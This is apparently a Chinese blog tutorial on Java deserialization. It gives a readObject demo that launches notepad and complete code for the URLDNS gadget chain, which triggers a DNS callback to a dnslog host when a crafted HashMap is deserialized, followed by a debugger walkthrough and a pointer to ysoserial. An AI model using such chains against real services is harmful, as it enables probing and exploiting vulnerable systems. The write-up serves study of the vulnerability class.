前言
终于可算是来到java反序列化,在菠萝师傅的一番提醒,我认识到自己不能继续在简单的游荡了,要来到难的地方了。
也庆祝自己终于拥有了勇气。
分析
基础
我相对喜欢先代码在讲原理,这里不怎么了解序列化可以去复习一下javase
可以在这里B站复习一下
序列化流(3集)
反射(5集)
大家有没有想过一个问题,关于游戏的存档问题,他是储存在那里的呢,我感觉他可能就是像这样将数据加密一下,放到一个文件里面,然后启动的时候读取这个文件,所以像那些单机游戏破解器,是不是这样的,存储的值。
这里我们下面看一个基本不可能发生的反序列化例子。
//Asuread.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Asuread implements Serializable {
private String name;
private int age;
public Asuread() {
}
public Asuread(String name, int age) {
this.name = name;
this.age = age;
}
private void readObject(ObjectInputStream os) throws IOException, ClassNotFoundException {
os.defaultReadObject();
Runtime.getRuntime().exec("notepad");
}
}
//Stest.java
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Stest {
public static void main(String[] args) throws IOException {
Asuread asu = new Asuread("aa",1);
Serialize(asu);
}
public static void Serialize(Object obj) throws IOException, IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
out.close();
}
}
//UStest.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class UStest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get("./1.bin")));
Asuread asu = (Asuread) out.readObject();
System.out.println(asu);
}
}
上面我们可以看到在Asuread这个类中我们是重写了一个readObject方法,让他去打开一个记事本。
首先我们知道我们序列化需要使用writeObject,反序列化的时候会使用readObject这个方法,所以如果我们重写readObject方法,不是他就会执行那个方法。
可以看到在我们执行以后他是弹出来一个记事本的。
URLDNS链
java环境:java8
注:经过尝试java17会报错
这个链子是我们入门的链子,为我们接下来的cc打好基础,甚至他本身也就是一个检测是否存在反序列化漏洞的一个存在。
这里先放代码,接收的网站我们可以在DNSLog Platform生成一个或者可以选择burp生成接受,这里为了方便就使用网站了。
//Serial.java
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Serial implements Serializable {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
// 创建一个 HashMap 对象,用于存储 URL 对象及其对应的整数值
HashMap<URL, Integer> hash = new HashMap<>();
// 创建一个 URL 对象
URL url = new URL("http://yuyp63.dnslog.cn");
// 先获取字节码文件, 然后获取 URL 类的 hashCode 字段
Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
//临时修改构造方法的访问权限,让我们可以修改值
hashCode.setAccessible(true);
// 改变 URL 对象的 hashCode 值为 21,并将其添加到 HashMap 对象中
hashCode.set(url, 21);
hash.put(url, 1);
// 再次改变 URL 对象的 hashCode 值为 -1
hashCode.set(url, -1);
// 创建一个 ObjectOutputStream 对象,并指定输出流的目标文件
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("./1.bin")));
// 将 HashMap 对象写入到输出流中
out.writeObject(hash);
// 关闭输出流
out.close();
}
}
//Unserial.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Unserial {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get("./1.bin")));
out.readObject();
}
}
我们执行一下,这里在网站Refresh Record两下可以看到马上就接受到了
URLDNS分析
终于是来到我喜欢的分析环节了。
说先说明我们为什么要选择HashMap,因为HashMap为了保证键的唯一,所以可以是任何属性的值,给我们操作的空间。
这里推荐一个东西,可以帮助我们快速找到我们要的方法或者值。
这里我们就可以看到在旁边,可以看到类的方法,帮助我们快速跟进
链子分析
这里我们先看HashMap,从HashMap的readObject开始跟进,因为反序列化的时候,肯定会触发他的readObject方法的。
这里我们可以看到他又对键值进行了一次方法,估计是为让键值唯一的方法,这里我们跟进去看看。
这里我们可以看到他是使用一个三元运算符,只要不是null,就是触发key的hashCode方法,要注意这里我们的键值传进去的是一个URL类的对象
所以这里相当于在触发URL对象.hashCode()方法,所以这里我们放弃跟进HashCode类,去看看URL类中的hashCode方法
这里我们看到URL类中的hachCode方法
这里我们分析一下如果hashCode等于-1,就会进入handler.hashCode,然后触发DNS请求,如果我们值不等于-1,就是直接返回值。
但是我们发现hachCode的默认值就是-1,还是用private定义的
这个跟进这个方法进去看看。
继续跟进
这里我们看到这里,如果
host
参数是一个主机名,那么getByName
方法会向 DNS 服务器发起一次 DNS 查询请求
疑惑代码分析
接下来我们结合代码和上面一起分析。
首先是这里,你会发现我们利用反射强制修改了,URL的hachCode的值,在put以后再还原成-1,这是为什么呢。
这里我们跟进HachMap的put方法,这里看到这里也是进行了一次hash方法,进去看看是不是一样的
好的,一样的,所以我们在正常put的时候就已经触发了一次DNS请求了,这会影响我们的正常判断,但是通过上面,我们知道只要URL的hachCode值不为-1就可以直接返回值,不触发到DNS请求那里。
这里我们可以进行断点调试分析
这里我将断点设置在这里
这里我们可以看到,在执行到下面的字节码文件是,这时候URL的hashCode的值是默认的-1
执行到这里的时候,我们可以看到,他是获得到了URL的hachCode的值
这里我们看到在set以后,URL的hachCode的值已经被修改成了21,那么下面HachMap对象进行put的时候,就不会触发DNS请求了
在经历一次set以后,我们可以发现hachCode的值就变回-1了
工具推荐
没有之一的工具
GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
里面有很多链子给我们利用,但是说工具不是最重要的,关键是要自己理解了